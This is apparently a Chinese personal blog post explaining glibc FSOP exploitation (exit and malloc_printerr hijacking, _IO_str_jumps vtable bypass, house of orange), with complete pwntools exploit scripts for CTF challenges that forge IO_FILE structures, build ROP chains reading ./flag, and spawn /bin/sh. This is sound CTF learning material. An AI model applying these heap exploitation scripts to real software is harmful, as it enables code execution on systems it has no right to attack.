Skip to content
Menu
Nameless的摸鱼笔记 Nameless的摸鱼笔记
  • 示例页面
Nameless的摸鱼笔记 Nameless的摸鱼笔记

IO_file劫持利用—fsop

Posted on 2022年3月18日2022年7月22日 by Nameless

最近不知道为啥,感觉忙不过来,一方面要搞fuzz(俺导师叫俺每周至少抽出7、8个小时),另一方面要学pwn,周末打比赛平时还要复现,本人又太菜了,学得很慢(所以前面7、8个小时俺总不能变出来吧)。还有很多莫名奇妙的课程安排,对于俺来说,唯一值得听一听的可能只有周四晚上的“科幻赏析与创作”

希望能好起来

前置知识

(1)IO_File相关知识:参考这个博客,写的真的很详细,但是和利用毛关系都没有

(2)fsop有关利用:感觉就没有几个师傅写了fsop的利用,个人感觉大师傅写的很好,早看这个也不至于被ymnh吐槽

(3)如何查找_IO_str_jumps:这个是为了绕过vtable的检查机制(好像是从2.24开始的),然而并没有libc.sym[‘_IO_str_jumps’],需要我们靠一点技巧去找

_IO_str_jumps指向很多函数,可以说是一个函数表,其内部0x20偏移处为_IO_str_underflow能够通过打印符号表查找到

同时通过search -p能够查找到存储指针的位置(即_IO_str_jumps内部)

一般来说是最下面那个,因为要比如下这个东西的地址更高

(4)house of orange

这个利用来源于2016年台湾举办的某个ctf的同名的题,主要是利用堆溢出,将top_chunk的size改小(为了不使用mmap分配堆块),然后申请一块比top_chunk大的堆块。这样就可把top_chunk放入unsorted bin

exit劫持

exit的调用路径

exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->stderr->stderr+0xd8->……(省略的为io_list_all为头的链表及其调用)

利用思路

通过修改libc.sym[‘IO_2_1_stderr‘] + 0x68为fake_io_file,达到劫持exit正常调用流程的目的。并且将fake_io_file的0xd8(即vtable)修改为_IO_str_jumps(2.24以后就有检查机制,之前的话可以修改为任意值)达到调用over_flow的目的,以此设置rdx寄存器的值并call malloc函数,结合提前修改malloc_hook为setcontext来实现堆上rop

其中有几个比较重要的汇编指令

将rbx寄存器置为stderr
stderr+0x68是chain,连入fake_io_file
把rax寄存器置为str_jumps
设置好参数准备跳转
rax为跳转到over_flow
设置rdx寄存器

例题

【bytectf2020】gun

exp

直接贴fmyy师傅的exp,其中涉及了srop,还没有学。。。不过改成正常的系统调用也可出

from pwn import*
context.arch = "amd64"
p = process('./gun')
libc =ELF('./libc-2.31.so')

def z():
    gdb.attach(p)

def menu(ch):
    p.sendlineafter('Action>',str(ch))

def new(size,content):
    menu(3)
    p.sendlineafter('price:',str(size))
    p.sendlineafter('Name:',content)

def load(index):
    menu(2)
    p.sendlineafter('load?',str(index))

def free(times):
    menu(1)
    p.sendlineafter('time: ',str(times))


p.sendlineafter('Your name: ','nameless')

##leak libc
for i in range(3):
    new(0x10,'') #0 1 2
new(0x420,'nameless') #3
new(0x420,'nameless') #4
new(0x10,'nameless') #5
load(4)
load(3)
free(2)
new(0x20,'') #3
load(3)
free(1)
libc_base = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00'))-0x1c502d-(libc.sym['__libc_start_main']+243)
log.info('LIBC:\t' + hex(libc_base))

##set libc_func
free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

##leak heap
new(0x20,'F'*0x10 + '\n') #3
load(3)
free(1)
p.recvuntil('F'*0x10)
heap_base = u64(p.recv(6).ljust(8,'\x00')) - 0x2C0 - 0x60
log.info('HEAP:\t' + hex(heap_base))

## set gadget
pop_rdi_ret = libc_base + 0x26B72
pop_rdx_r12 = libc_base + 0x11c1e1
pop_rsi_ret = libc_base + 0x27529
pop_rax_ret = libc_base + 0x4A550

## set libc_ables
jmp_rsi  = libc_base + 0x1105bd
syscall = libc_base + libc.sym['syscall']
target = libc_base + libc.sym['_IO_2_1_stdin_']
address = libc.sym['__free_hook'] + libc_base
IO_str_jumps = libc_base + 0x1ED560
Open = libc_base + libc.symbols["open"]
Read = libc_base + libc.symbols["read"]
Puts = libc_base + libc.symbols['puts']
free_hook = address

##set fake_io
IO  = '\x00'*0x28
IO += p64(heap_base + 0x360 + 0xE0) ##rdx
IO  = IO.ljust(0xD8,'\x00')
IO += p64(IO_str_jumps)

##
read = libc_base + libc.sym['read']
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = address
frame.rdx = 0x2000
frame.rsp = address
frame.rip = Read
orw  = p64(pop_rdi_ret)+p64(free_hook + 0xF8)
orw += p64(pop_rsi_ret)+p64(0)
orw += p64(Open)
orw += p64(pop_rdi_ret) + p64(3)
orw += p64(pop_rdx_r12) + p64(0x30) + p64(0)
orw += p64(pop_rsi_ret) + p64(free_hook+0x100)
orw += p64(Read)
orw += p64(pop_rdi_ret)+p64(free_hook+0x100)
orw += p64(Puts)
orw  = orw.ljust(0xF8,'\x00')
orw += './flag\x00\x00'
IO += str(frame)

##
for i in range(3):
    load(i)
free(3)
new(0x3E0,IO + '\n') #0
new(0x31,p64(0) + p64(0x21) + '\x00'*0x18 + p64(0x21) + '\n') #1
free(1)
load(1)
free(1)
new(0x31,p64(0) + p64(0x21) + p64(libc_base + libc.sym['_IO_2_1_stderr_'] + 0x68) + '\n')
new(0x10,'FMYY\n')
new(0x10,p64(heap_base + 0x360) + '\n')
load(1)
load(2)
free(2)
new(0x31,p64(0) + p64(0x21) + p64(malloc_hook) + '\n')
new(0x10,'FMYY\n')
new(0x10,p64(libc_base + libc.sym['setcontext'] + 61) + '\n')	
z()
menu(4)

p.sendlineafter('Goodbye!',orw)
p.interactive()

调试记录手扎

环境配置的是glibc_all_in_one下的2.31 9_版本

主要是调一调看看运行流程
下面是偏移,方便阅读的师傅调试

exit:0x7ffff7dfe0b5
__run_exit_handlers:0x7ffff7e20bdb
_IO_cleanup:0x7ffff7e20b30
_IO_flush_all_lockp:0x7ffff7e6cf04    +136处把RBX赋值为stderr,stderr+0x68为chain的位置,可以double free劫持它到fake_io ; +225 把rax设置为rbx+0xd8
_IO_str_overflow:0x7ffff7e6ccaf rdi==rbx
malloc:0x7ffff7e6dba8 

malloc_printerr劫持

一般是和unsorted bin attack结合起来用,触发malloc error来fsop

利用路径

2.23

malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->system(‘/bin/sh’)

2.24及以后

malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->over_flow->malloc_hook->setcontext

利用思路

首先让unsorted bin里有且仅有一个堆块(所以2.23可以结合house of orange 打)修改一个unsorted bin 里的堆块的bk指针为IO_list_all

并且利用堆溢出等手段修改该堆块的size为0x60(为啥后面会讲),然后malloc即可在把这个堆块放入smallbin之后触发malloc_error,进入_IO_flush_all_lockp

这里面的汇编啥的前面讲exit利用的时候详细记录过了

主要是这个rbx+0x68,一开始的rbx是main+88,加上0x68就是+198了,这个正好是small bin中0x60 size的chunk的表头,那么后续的mov rax,rbx+0xd8啥的就可以直接调用堆上预设的值了

还有一个需要注意的地方,伪造的fake_io,它的0x28位置要比0x20大,具体是因为io_file的结构如下

需要绕过

1.((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
   
或者是
2.
_IO_vtable_offset (fp) == 0 
&& fp->_mode > 0 
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)

肯定第一种要好绕过一点

而且,通过io_flush_lock_up的源码分析

_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);
      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)/*一些检查,需要绕过*/
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))/*也可以绕过这个*/
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)/*遍历_IO_list_all ,选出_IO_FILE作为_IO_OVERFLOW的参数,执行函数*/
        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

发现如果一直绕不过这个检查,会从io_list_all一直往下取链表的成员,直至为0

这就是为啥俺一开始在gdb里调半天一直mov rbx,rbx+0x68直到为0的原因

例题

BUUOJ-house of orange

保护

ida

main

发现没有free函数,考虑使用house of orange 构造1个free的堆块,具体就是改写top_chunk(防止使用mmap分配内存),然后申请一个比它大的堆块,就会把top_chunk free

add

很寻常,不过限制了add个数为4。而且未初始化指针,可以leak_libc和heap

edit

也是限制了edit的个数为3,改写的大小是我们指定的,所以存在堆溢出

show

存在的意义就是为了leak

思路

模板题还写啥思路…….

学了fsop和house of orange 还不会可以remake了

exp

from pwn import *
context.log_level='debug'
##r=process('./orange')
r=remote('node4.buuoj.cn',26752)
libc=ELF('./libc-2.23.so')

def z():
    gdb.attach(r)

def cho(num):
    r.sendlineafter("Your choice : ",str(num))

def add(size,con):
    cho(1)
    r.sendlineafter('Length of name :',str(size))
    r.sendlineafter('Name :',con)
    r.sendlineafter('Price of Orange:','1')
    r.sendlineafter('Color of Orange:','1')

def edit(size,con):
    cho(3)
    r.sendlineafter("Length of name :",str(size))  
    r.sendlineafter("Name:",con)
    r.sendlineafter("Price of Orange: ",'1')
    r.sendlineafter("Color of Orange: ",'1')  

def show():
    cho(2)

##free_top_chunk
add(0x30,'nameless')
pd = 'a'*0x30 + p64(0) + p64(0x21) +'a'*16+ p64(0)+ p64(0xf80)
edit(len(pd)+1,pd)
add(0x1000,'nameless')

##leak_libc
add(0x400,'nameles')
show()
r.recvuntil("Name of house : ")
r.recvuntil('nameles\n')
libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x3a4948-(libc.sym['__libc_start_main']+240)

##set lib_functions
_IO_list_all=libcbase+libc.sym['_IO_list_all']
system=libcbase+libc.sym['system']

##leak_heap
edit(0x400,'nameless'+'nameles')
show()
r.recvuntil("Name of house : ")
r.recvuntil('nameles\n')
heap=u64(r.recv(6).ljust(8,'\x00'))-0xe0
log.success('libcbase:'+hex(libcbase))
log.success('heap:'+hex(heap))

##fsop
pd='a'*0x400
pd+=p64(0)+p64(0x21)+p64(0x0000001f00000001)+p64(0)
fake_io='/bin/sh\x00'+p64(0x60)+p64(0)+p64(_IO_list_all-0x10)
fake_io+=p64(0)+p64(1)
fake_io=fake_io.ljust(0xc0,'\x00')
pd+=fake_io
pd+=p64(0)*3
pd+=p64(heap+0x5e8)
pd+=p64(0)*2+p64(system)
edit(0x800,pd)
##z()
cho(1)
r.interactive()

demo attack 1

twice largebin attack to orw or ogg

__call_tls_dtors

from pwn import *
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'

rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

def z():
    gdb.attach(r)

def cho(num):
    r.sendlineafter(">> ",str(num))

def add(idx,sz):
    cho(1)
    r.recvuntil("size:")
    r.sendline(str(sz))
    r.recvuntil("idx:")
    r.sendline(str(idx))

def delet(idx):
    cho(2)
    r.sendlineafter("idx:",str(idx))

def show(idx):
    cho(4)
    r.sendlineafter("idx:",str(idx))

def edit(idx,sz,con):
    cho(3)
    r.sendlineafter('size',str(sz))
    r.sendlineafter('idx',str(idx))
    r.sendafter('>>',con)

def leak_heap():
    global heap
    add(0,0x20)
    add(1,0x20)
    add(2,0x20)
    delet(1)
    delet(2)
    ##z()
    show(2)
    r.recvuntil('>>: ')
    heap=u64(r.recv(6).ljust(8,'\x00'))-0x30
    log.success('heap:'+str(hex(heap)))

def free(addr):
    cho(6)
    r.sendafter('>> ',addr)

def write(addr,size,con):
    cho(7)
    r.sendafter('>> ',addr)
    r.sendlineafter('>> ',str(size))
    r.sendafter('>> ',con)

def exp():
    global r
    global libc
    libc=ELF('./libc-2.33.so')
    r=process('./demo')
    
    add(0,0x500)
    add(1,0x100)
    add(2,0x600)
    delet(0)
    delet(1)
    edit(0,1,'a')
    show(0)
    r.recvuntil('>>: ')
    libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x61-(libc.sym['__malloc_hook']+0x10+96)
    log.success("libcbase:"+hex(libcbase))
    ##z()
    show(1)
    r.recvuntil('>>: ')
    heap=u64(r.recv(5).ljust(8,'\x00'))
    heap<<=12
    log.success('heap:'+hex(heap))

    ##set_libcfunc
    IO_list_all=libcbase+libc.sym["_IO_list_all"]
    fsbase=libcbase-0x28c0
    fs_rbx=fsbase-0x4f-1
    setcontext=libcbase+libc.sym['setcontext']
    system=libcbase+libc.sym['system']

    write(p64(fs_rbx),0x8,p64(heap+0x10))
    write(p64(fsbase+0x30),0x8,p64(0))
    write(p64(heap+0x10),0x18,p64(rol(setcontext+61,0x11,64))+p64(heap+0x20)+'/bin/sh\x00')
    
    z()
    cho(8)
    ##show(0)
    r.interactive()

def fuzz():
    f=open('log.txt','w')
    for i in range(0,0x1000):
        if i % 10 == 0:
           idx=randint(0,0x10)
           add(idx,0x20)
           f.write('add({},0x20)'.format(idx)+'\n')
        elif i % 2 == 0 :
           idx=randint(0,0x10)
           delet(idx)
           f.write('delt({})'.format(idx)+'\n')
        elif i % 3 == 0 :
           idx=randint(0,0x10)
           show(idx)
           r.recvuntil('>>: ')
           check_char=r.recv(1)
           if check_char == '\x55' or check_char == '\x56':
              f.write('show({})'.format(idx)+'\n')
              break             
    f.close() 

if __name__=='__main__':
    exp()

demo attack 2

house of banana to ogg or orw

发表回复 取消回复

要发表评论,您必须先登录。

近期文章

  • 关于Nokelock蓝牙锁破解分析
  • 基于树莓派的蓝牙调试环境搭建
  • shell之外的往事:机械兔子
  • [Googlectf2022]硬件题weather
  • 嵌入式设备组播路由攻击实战

近期评论

    归档

    • 2023年4月
    • 2023年3月
    • 2023年1月
    • 2022年10月
    • 2022年9月
    • 2022年8月
    • 2022年7月
    • 2022年5月
    • 2022年4月
    • 2022年3月
    • 2022年2月

    分类

    • fuzz
    • hardware
    • Linux
    • oi
    • PWN
    • python
    • shell之外的往事
    • 嵌入式开发
    • 未分类
    • 比赛题解
    • 程序设计实战

    其他操作

    • 登录
    • 条目feed
    • 评论feed
    • WordPress.org

    朋友们

    chuj
    夜魅楠孩
    x1ng
    pankas
    杨宝
    h4kuy4
    大能猫
    t0hka
    hash_hash
    nightu
    yolbby
    JBNRZ
    oacia
    l0tus
    Korey0sh1

    ©2022 Nameless的摸鱼笔记

    蜀ICP备2022004715号

    ©2023 Nameless的摸鱼笔记 | Powered by WordPress & Superb Themes